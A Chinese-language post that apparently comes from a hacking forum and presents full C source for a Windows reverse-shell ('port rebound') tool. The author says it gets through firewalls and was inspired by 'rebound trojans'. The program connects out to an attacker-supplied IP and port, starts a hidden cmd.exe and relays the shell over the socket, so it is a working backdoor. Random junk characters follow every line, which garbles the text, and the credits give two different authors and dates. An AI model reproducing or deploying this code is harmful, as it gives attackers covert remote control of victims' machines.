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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t`z"=S  
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/* ============================== 6^gp /{  
Rebound port in Windows NT #"4ioTL2  
By wind,2006/7 FB[b]+t`D{  
===============================*/ LG&BWs!  
#include D6Ad "|Z  
#include )k=KLQ\b  
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#pragma comment(lib,"wsock32.lib") p-}X=O$  
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void OutputShell(); wnokP  
SOCKET sClient; Ei_ ~ K';  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Qb^G1#r@C  
$Aw@xC^!  
void main(int argc,char **argv) D`JBK?~  
{ K5qCPt`'  
WSADATA stWsaData; JJd qdX;  
int nRet; }n==^2  
SOCKADDR_IN stSaiClient,stSaiServer; wtek5C^  
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if(argc != 3) O6hzOyNX@  
{ T#Z&*  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0$)Q@#  
return; tVRN3fJH  
} `3F#k[IR  
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WSAStartup(MAKEWORD(2,2),&stWsaData); _iJ~O1qx,w  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j9NF|  
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stSaiClient.sin_family = AF_INET; rRq60A  
stSaiClient.sin_port = htons(0); Cq2Wpu-u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k4ti#3W5eG  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5?-HQoT)G  
{ bgor W"'  
printf("Bind Socket Failed!\n"); wD9K\%jIr!  
return; ]W5*R07  
} 7'IIB1v.\  
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stSaiServer.sin_family = AF_INET; ,R[$S"]!SH  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UGPDwgq\v  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Vu5?;|^:  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E@SFK=`  
{ =K`.$R  
printf("Connect Error!"); >1s a*Wf  
return; jo:Z  
} "0CFvN'4  
OutputShell(); <K[y~9u  
} QXkA%'@'  
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void OutputShell() bTD?uX!^@  
{ cT'Bp)a  
char szBuff[1024]; XGSFG ~d  
SECURITY_ATTRIBUTES stSecurityAttributes; 4EqThvI{  
OSVERSIONINFO stOsversionInfo; }93kHO{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C^ )Imr  
STARTUPINFO stStartupInfo; z By%=)`  
char *szShell; -%` ~3*L  
PROCESS_INFORMATION stProcessInformation; w jkh*Y  
unsigned long lBytesRead; << >+z5D+  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~n]5iGz  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E'LI0fr  
stSecurityAttributes.lpSecurityDescriptor = 0; 9z#8K zXg  
stSecurityAttributes.bInheritHandle = TRUE; qi,) l*?f  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fB$a )~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E`fG9:6l]  
)7 p" -  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;_cTrjMv\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _N`.1Dl%Q  
stStartupInfo.wShowWindow = SW_HIDE; ?Y~t{5NJR  
stStartupInfo.hStdInput = hReadPipe; WN'AQ~qA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $@z77td3  
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GetVersionEx(&stOsversionInfo); H+[?{+"#@l  
1 (<n^\J(  
switch(stOsversionInfo.dwPlatformId) eI1zRoIl-  
{ jSem/;  
case 1: Av.tr&ZNb  
szShell = "command.com"; R:~aX,qR  
break; 8 1Kf X {|  
default: dtR"5TL<~}  
szShell = "cmd.exe"; ['mpxtG  
break; 8oX1 F(R  
} ]\M{Abqd{  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v}$Q   
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send(sClient,szMsg,77,0); q}@L"a`  
while(1) |}G"^r  
{ N1'`^ay$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); egq,)6>  
if(lBytesRead) 6F (z6_<  
{ Nn05me"X  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W22S/s  
send(sClient,szBuff,lBytesRead,0); MLdwf}[  
} 2b$>1O&2  
else V8n { k'  
{ Nh!`"B2B  
lBytesRead=recv(sClient,szBuff,1024,0); X?_rD'3  
if(lBytesRead<=0) break; [\ao#f0WR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \ja6g  
} ..`c# O&  
} .\XRkr'-  
]K(a32VCH  
return; ,j%\3g`  
}
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